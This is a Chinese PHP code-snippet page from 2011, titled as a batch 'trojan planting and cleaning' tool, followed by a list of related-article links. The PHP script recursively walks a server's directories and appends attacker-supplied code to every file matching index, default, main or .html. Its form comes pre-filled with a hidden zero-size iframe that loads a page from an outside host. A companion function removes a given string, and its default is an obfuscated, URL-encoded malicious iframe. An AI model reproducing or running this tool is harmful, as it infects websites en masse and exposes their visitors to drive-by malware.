php下批量挂马和批量清马代码


Posted in PHP onFebruary 27, 2011
<?php 
function gmfun($path=”.”) 
{ 
$d = @dir($path); 
while(false !== ($v = $d->read())) { 
if($v == “.” || $v == “..”) continue; 
$file = $d->path.”/”.$v; 
if(@is_dir($file)) { 
gmfun($file); 
} else { 
if(@ereg(stripslashes($_POST["key"]),$file)) { 
$mm=stripcslashes( trim( $_POST[mm] ) ); 
$handle = @fopen (”$file”, “a”); 
@fwrite($handle, “$mm”); 
@fclose($handle); 
echo “已挂马文件:$file\n<br>”; } 
} 
} 
$d->close(); 
echo ” “; 
} 
function qmfun($path=”.”) 
{ 
$d = @dir($path); 
while(false !== ($v = $d->read())) { 
if($v == “.” || $v == “..”) continue; 
$file = $d->path.”/”.$v; 
if(@is_dir($file)) { 
qmfun($file); 
} else { 
if(@ereg(stripslashes($_POST["key"]),$file)) { 
$mm=stripcslashes( trim( $_POST[mm] ) ); 
$handle = fopen (”$file”, “rb”); 
$oldcontent=fread($handle,filesize($file)); 
fclose($handle); 
$newcontent=str_replace($mm,””,$oldcontent); 
$fw = fopen (”$file”, “wb”); 
fwrite($fw,$newcontent,strlen($newcontent)); 
fclose($fw); 
echo “已清马文件:$file\n<br>”; 
} 
} 
} 
$d->close(); 
echo ” “; 
} 
if ($_GET['action']=='gm') { 
set_time_limit(0); 
gmfun($_POST["dir"]); 
} 
if ($_GET['action']=='qm') { 
set_time_limit(0); 
qmfun($_POST["dir"]); 
} 
?> 
<title>批量挂马(清马)程序php版</title><body> 
<form action=”<?$PHP_SELF?>?action=gm” method=”post”> 
<table border=”0″ align=”center” cellpadding=”0″ cellspacing=”0″> 
<tr> 
<td height=”25″ colspan=”2″ bgcolor=”006699″> <div align=”center”><font color=”#00FF00″ size=”4″>网站批量挂马程序php版 
BY n3tl04d</font></div> 
<td> </tr> 
<tr> 
<td height=”27″ bgcolor=”#CCCCCC”>路径:</td> 
<td height=”27″ bgcolor=”#CCCCCC”> <input name=”dir” type=”text” value=”.”>(可填相对路径) 
<td> </tr> 
<tr> 
<td height=”27″ bgcolor=”#CCCCCC”>挂马关键字:</td> 
<td height=”27″ bgcolor=”#CCCCCC”> <input name=”key” type=”text” value='index\.|default\.|main\.|\.html'>—?正则表达式匹配—— 
<td colspan=”2″ height=”1″></td> 
<td> </tr> 
<tr> 
<td height=”25″ bgcolor=”#CCCCCC”>想写入的挂马代码:</td> 
<td height=”25″ bgcolor=”#CCCCCC”><input name=”mm” type=”text” size=”50″ value='<iframe src=http://982.9966.org/b073399/b07.htm width=0 height=0 frameborder=0></iframe>'> 
<td> </tr> 
<tr> 
<td height=”25″ colspan=”2″ bgcolor=”006699″> <div align=”center”> 
<input type=”submit” name=”Submit” value=”提交”> 
   
<input type=”reset” name=”Submit2″ value=”重置”> 
</div></td> 
<td> </tr> 
</table> 
</form> 
<form action=”<?$PHP_SELF?>?action=qm” method=”post”> 
<table border=”0″ align=”center” cellpadding=”0″ cellspacing=”0″> 
<tr> 
<td height=”25″ colspan=”2″ bgcolor=”006699″> <div align=”center”><font color=”#00FF00″ size=”4″>批量清马工具php版 
BY 随风而去(LST)</font></div> 
<td> </tr> 
<tr> 
<td height=”27″ bgcolor=”#CCCCCC”>路径:</td> 
<td height=”27″ bgcolor=”#CCCCCC”> <input name=”dir” type=”text” value=”.”>(可填相对路径) 
<td> </tr> 
<tr> 
<td height=”27″ bgcolor=”#CCCCCC”>清马关键字:</td> 
<td height=”27″ bgcolor=”#CCCCCC”> <input name=”key” type=”text” value='index\.|default\.|main\.|\.html'>—?正则表达式匹配—— 
<td colspan=”2″ height=”1″></td> 
<td> </tr> 
<tr> 
<td height=”25″ bgcolor=”#CCCCCC”>想清除的挂马代码:</td> 
<td height=”25″ bgcolor=”#CCCCCC”><input name=”mm” type=”text” size=”50″ value='<iframe src=http://%31%73%61%6e%69%32%6b%6d%2e%63%6e/%6A%6A%32.htm width=50 height=0 frameborder=0></iframe>'> 
<td> </tr> 
<tr> 
<td height=”25″ colspan=”2″ bgcolor=”006699″> <div align=”center”> 
<input type=”submit” name=”Submit” value=”提交”> 
   
<input type=”reset” name=”Submit2″ value=”重置”> 
</div></td> 
<td> </tr> 
</table> 
</form>
PHP 相关文章推荐
图象函数中的中文显示
Oct 09 PHP
php+AJAX传送中文会导致乱码的问题的解决方法
Sep 08 PHP
mysql5的sql文件导入到mysql4的方法
Oct 19 PHP
php截取utf-8中文字符串乱码的解决方法
Mar 29 PHP
php长字符串定义方法
Jul 12 PHP
php curl_init函数用法
Jan 31 PHP
PHP编译安装中遇到的两个错误和解决方法
Aug 20 PHP
PHP中使用sleep函数实现定时任务实例分享
Aug 21 PHP
PHP解析RSS的方法
Mar 05 PHP
PHP实现HTTP断点续传的方法
Jun 17 PHP
PHP + plupload.js实现多图上传并显示进度条加删除实例代码
Mar 06 PHP
Yii2配置Nginx伪静态的方法
May 05 PHP
php SQL Injection with MySQL
Feb 27 #PHP
PHP的SQL注入实现(测试代码安全不错)
Feb 27 #PHP
php通用防注入程序 推荐
Feb 26 #PHP
8个出色的WordPress SEO插件收集
Feb 26 #PHP
zend framework多模块多布局配置
Feb 26 #PHP
让你成为更出色的PHP开发者的10个技巧
Feb 25 #PHP
理解php Hash函数,增强密码安全
Feb 25 #PHP
You might like
php数组函数序列之array_key_exists() - 查找数组键名是否存在
2011/10/29 PHP
JScript中的&quot;this&quot;关键字使用方式补充材料
2007/03/08 Javascript
JS继承 笔记
2011/07/13 Javascript
33个优秀的 jQuery 图片展示插件分享
2012/03/14 Javascript
JavaScript定时器详解及实例
2013/08/01 Javascript
jQuery中outerHeight()方法用法实例
2015/01/19 Javascript
js实现ifram取父窗口URL地址的方法
2015/02/09 Javascript
浅谈JavaScript中的String对象常用方法
2015/02/25 Javascript
jQuery mobile 移动web(6)
2015/12/20 Javascript
JS常见问题之为什么点击弹出的i总是最后一个
2016/01/05 Javascript
js验证框架实现代码分享
2016/05/18 Javascript
深入理解angularjs过滤器
2016/05/25 Javascript
浅谈window.onbeforeunload() 事件调用ajax
2016/06/29 Javascript
Bootstrap实现渐变顶部固定自适应导航栏
2020/08/27 Javascript
JSONP跨域请求
2017/03/02 Javascript
nodejs密码加密中生成随机数的实例代码
2017/07/17 NodeJs
vue awesome swiper异步加载数据出现的bug问题
2018/07/03 Javascript
vue动画之点击按钮往上渐渐显示出来的实例
2018/09/29 Javascript
深入浅出了解Node.js Streams
2019/05/27 Javascript
Vue路由之JWT身份认证的实现方法
2019/08/26 Javascript
微信小程序实现电影App导航和轮播
2020/11/30 Javascript
[01:51]DAC趣味视频-如何成为职业选手.mp4
2017/04/02 DOTA
python 实现网上商城,转账,存取款等功能的信用卡系统
2016/07/15 Python
CentOS 7下Python 2.7升级至Python3.6.1的实战教程
2017/07/06 Python
美国婴儿服装购物网站:Gerber Childrenswear
2020/05/06 全球购物
NULL是什么,它是怎么定义的
2015/05/09 面试题
this关键字的含义
2015/04/08 面试题
普通大学毕业生自荐信范文
2014/02/23 职场文书
单位委托书怎么写
2014/08/02 职场文书
公司感恩节活动策划书
2014/10/11 职场文书
医院见习报告范文
2014/11/03 职场文书
2014年学生会部门工作总结
2014/11/07 职场文书
优秀教师推荐材料
2014/12/16 职场文书
2015年秋季灭鼠工作总结
2015/07/27 职场文书
Angular性能优化之第三方组件和懒加载技术
2021/05/10 Javascript
Golang 切片(Slice)实现增删改查
2022/04/22 Golang